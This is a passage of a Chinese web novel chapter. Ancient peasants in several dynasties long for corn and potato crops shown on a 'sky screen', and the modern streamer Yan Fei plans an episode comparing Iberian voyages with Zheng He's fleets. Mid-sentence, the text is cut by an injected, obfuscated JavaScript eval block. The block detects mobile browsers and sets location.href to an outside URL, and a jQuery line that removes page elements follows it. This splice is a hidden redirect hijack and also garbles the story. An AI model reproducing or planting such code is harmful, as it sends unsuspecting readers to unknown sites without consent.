“睡觉吧。”他说，“明儿还得种地呢。”
他媳妇跟在后面，小声说：“当家的，你说那玉米红薯，咱这辈子能种上不？”
王老四没说话，他也不知道。
但他知道他得活着。
活着、等着、万一哪天来了呢？
万一呢？
【宋·汴梁城外】
李三把他娘扶进屋，点了灯，又出去把院门关上。
回来的时候，他娘还坐在炕沿上，嘴里念念有词。
“玉米，土豆，红薯，”老太太一遍一遍地念，“玉米，土豆，红薯——”
“娘，”李三说，“睡吧。”
老太太抬起头，看着他：“儿啊，娘记着呢。娘怕忘了。”
李三鼻子一酸，没说话。
老太太又念了两遍，忽然说：“儿啊，你说那些东西，真能种在坡地上不？”
“天幕上说的，应该不假。”
“那就好。”老太太点点头，“咱家后山那片坡地，荒了多少年了，要是能种上——”
她没说完，但眼睛里亮晶晶的。
李三看着她的眼睛，忽然觉得，这老太太比他有劲。
“娘，”他说，“您记着就行。将来要是有了种子，咱第一个种。”
老太太笑了，脸上的褶子挤成一团：“行，娘给你记着。记到死。”
【汉·长安城外】
刘大终于从院子里进屋了。
他媳妇已经躺下了，闭着眼睛，不知道睡着没睡着。
刘大躺在她旁边，睁着眼睛，看着黑漆漆的房梁。
“当家的，”他媳妇忽然开口，“你说那玉米红薯，真能种在坡地上吗？”
“天幕说的，应该不假。”
“那咱家那片坡地——”她没说下去。
刘大沉默了一会儿，忽然说：“明儿我去看看。”
他媳妇愣了一下：“看啥？”
“看看那坡地，”刘大说，“看看能开出来不能，万一将来有了种子，咱不能现开。”
他媳妇没说话。
过了一会儿，刘大听见她在旁边翻身。
又过了一会儿，他听见她小声说：“当家的，咱以后，是不是就不怕饿肚子了？”
刘大没回答。
但他伸出手，在黑暗里握住了他媳妇的手。
【明·某村】
张老六还蹲在院子里。
碗里的稀粥彻底凉了结了一层皮，他没喝。
他媳妇出来看了他三回，都没敢说话。第四回出来的时候，她端着那碗粥走到他跟前蹲下来。
“当家的，喝了吧，凉了也得喝不能糟蹋粮食。”
张老六抬起头，看着她。
月光底下，她的脸比白天看着老一些，瘦一些，但眼睛亮亮的。
他忽然想起去年冬天，小儿子饿死的时候，她没哭；她去地主家借粮被骂回来的时候，她也没哭；她把那点稀粥都省给孩子喝的时候，更没哭。
她就这么看着他，眼睛亮亮的，说：“喝了吧。”
张老六接过碗，一口一口，把那碗凉粥喝完了。
喝完他把碗放在地上，站起来看着夜空。
“当家的？”他媳妇站起来，拽了拽他的袖子。
“没事。”张老六说，“我就是想，小儿子没赶上。”
他媳妇愣了一下，然后眼泪就下来了。
张老六没看她，还看着夜空。
“要是那东西早来几年，”他说，“小儿子就能活了。”
他媳妇捂着嘴，不敢哭出声。
张老六站了很久，然后转过身，搂着他媳妇的肩膀，往屋里走。
走了几步，他忽然停下来，回头看了一眼夜空。
“往后，”他说，“咱得活着。活着，等着。等那东西来了，咱替小儿子种，替他收，替他吃饱。”
他媳妇在他怀里，点了点头。
月光照在院子里的破碗上，照在空荡荡的晾衣绳上，照在那一扇歪歪扭扭的院门上。
远处，不知道谁家的狗叫了一声。
夜，深了。
天幕彻底暗下去之后，各个时空的夜，都变得很长很长。
有人在算账，有人在念着种子名字，有人在看自家的坡地，有人在想死去的孩子。
但所有人都记得那几行字。
玉米，土豆，红薯。
亩产四五百斤，两三千斤，更高。
能种山坡上，能种贫瘠地里。
一亩能养活一家人一整年。
他们记着、等着、盼着。
月光从东边走到西边，从这一片时空走到那一片时空，照着帝王的脸，照着百姓的院，照着那些睁着眼睛睡不着觉的人。
夜很长。
但天总会亮的。
雁非盯着后台数据，手指僵在鼠标上。
【本期新增震惊值：8，743，69200】
她数了三遍，确认没数错零。
然后她猛地从椅子上弹起来，差点把电脑带倒。
“我去！”
她捂着嘴，压低声音骂了一句——怕动静太大吵醒邻居。
一万比一，今天这场直播能换多少钱？
八万多块！！！
银行卡余额1.2万，加上这八万多，她快要突破十万了，雁非表示她这辈子的银行卡没打过这么富裕的仗！！！
激动过后重新坐下来，雁非盯着那个数字，还是忍不住想笑。
然后直接兑换成钱，耽误一秒都是对她这个穷鬼的不尊重！
留言板上这一次的留言数量爆炸式增长，玉米、土豆、红薯——粮食这东西，杀伤力太大了。
老百姓问能不能种，帝王与官员们问从哪儿弄。
直播方向她似乎是真找对了。
雁非深吸一口气，点开文档。
下一期她原本计划讲白银的，但光讲白银太单薄，似乎可以得加点东西。
葡萄牙的航海，持续了近一百年。
从休达到印度，走了八十三年。
为什么能一直坚持走？
因为这是国策，亨利亲王是国王的儿子，他把王室的资源投进去，一投就是四十年，后继的国王接着投。
失败了，换条路再走；死人了，再派一批人去。
西班牙是另一种路数。
哥伦布拿着航海计划跑了七八年，葡萄牙国王不要他，法国国王不要他，英国国王也不要他，最后西班牙女王伊莎贝拉掏了钱——据说是当了自己的首饰。
赌一把大的。
赌赢了，哥伦布没到印度，但到了美洲。那片大陆上有欧洲人从没见过的东西，也有欧洲人做梦都想要的黄金。
更重要的是，消息传开之后跟上去的人一批接一批。
商人、贵族、破落户、想翻身的穷小子——谁都可以去，谁都能分一杯羹，官方给政策，民间去执行，成了大家一起发财，败了是你自己倒霉。
这是另一套逻辑：官方搭台，民
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313343|198906||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间唱戏。
雁非其实挺理解这俩国家的统治者为啥这么疯狂痴迷出海，因为她跟他们有一点共性，那就是都是穷鬼！
人穷到一定份上，看到发财的机会，就跟赌徒没什么区别了。
郑和下西洋呢？
1405年到1433年，七次，二十八年。
船队规模：最多时两百多艘船，两万七千多人，最大的宝船，据记载“长四十四丈，阔十八丈”。
这个数字后世有争议，但无论按哪个标准，都是当时世界上最大的。
航程范围：东南亚、印度洋、阿拉伯海、东非，最远到达的地方，据考证是今天的肯尼亚马林迪。
带回的东西：香料、药材、珍宝、珍奇异兽。忽鲁谟斯进贡的狮子、豹子，阿拉伯进贡的长颈鹿——被当成“麒麟”，认为是大明德政的祥瑞。
然后，1433年之后，停了。
为什么停？
《明史·郑和传》里只有一句话：“和经事三朝，先后七奉使，所取无名宝物，不可胜计，然耗费亦不赀。”——花太多钱了。
《明实录》里有更多细节——言官上疏，“糜费粮饷，骚扰军民”。户部算账“每造一艘，费银数千两”，礼部吐槽“外邦朝贡，赏赐太重”。
简单总结：投入太大，产出太小。
香料能卖钱，宝石能卖钱，但卖来的钱进了谁的兜？国库都没见到回头钱更不用说老百姓。
普通老百姓从下西洋里得到了什么？他们只看到自己被征调去造船，被摊派粮饷，家里的壮劳力一去几年不回。
朝贡贸易的本质是厚往薄来，人家带点土特产来，大明赏赐回去的东西，价值翻几倍。这不是做生意，是做面子。
面子做完了，钱花光了，老百姓没沾着一点好处，自然没人愿意接着做。
郑和的船队回来了，航线有了，海图有了，但这些东西锁在兵部的柜子里，民间看不到，也用不上。
大明是官方全包，官方全收，官方全停。
停了之后，还有更严的海禁。
门，就这么关上了。
--
如果不开上帝视角，对于当时的古人来说，似乎没有对错，只有出发立场不同。
葡萄牙人出海的时候，不知道美洲有玉米。
哥伦布往西走的时候，不知道自己会到新大陆。
郑和下西洋的时候，更不知道地球另一边有能亩产千斤的庄稼。
都是在当时知道的范围内，做能做的选择。
但有一点是确定的：走得久的那条路，不是靠一次两次的壮举，是靠一代一代的惯性。而惯性要能持续，得有人能从中得到好处——不是皇帝一个人得到好处，是很多人得到好处。
葡萄牙做到了，西班牙做到了。
大明没有。
所以她要把这些放在一起，让那些古人看见。
让他们知道，在同一片星空下，有人用另一种方式在走。
让他们看见，走与不走，停与不停，门关还是不关，会产生什么样的不同。
嬴政会怎么想？刘彻会怎么想？李世民、赵匡胤、朱元璋、朱棣——他们会怎么想？
雁非不知道，她只是个播主，把事实摆出来，让他们自己去看，自己去想。
窗外天快亮了。
雁非保存文档，站起来活动脖子。
看了一眼，新增加的2.5社会进步值，忽然觉得——活着挺好的。
下一期直播，敬请期待！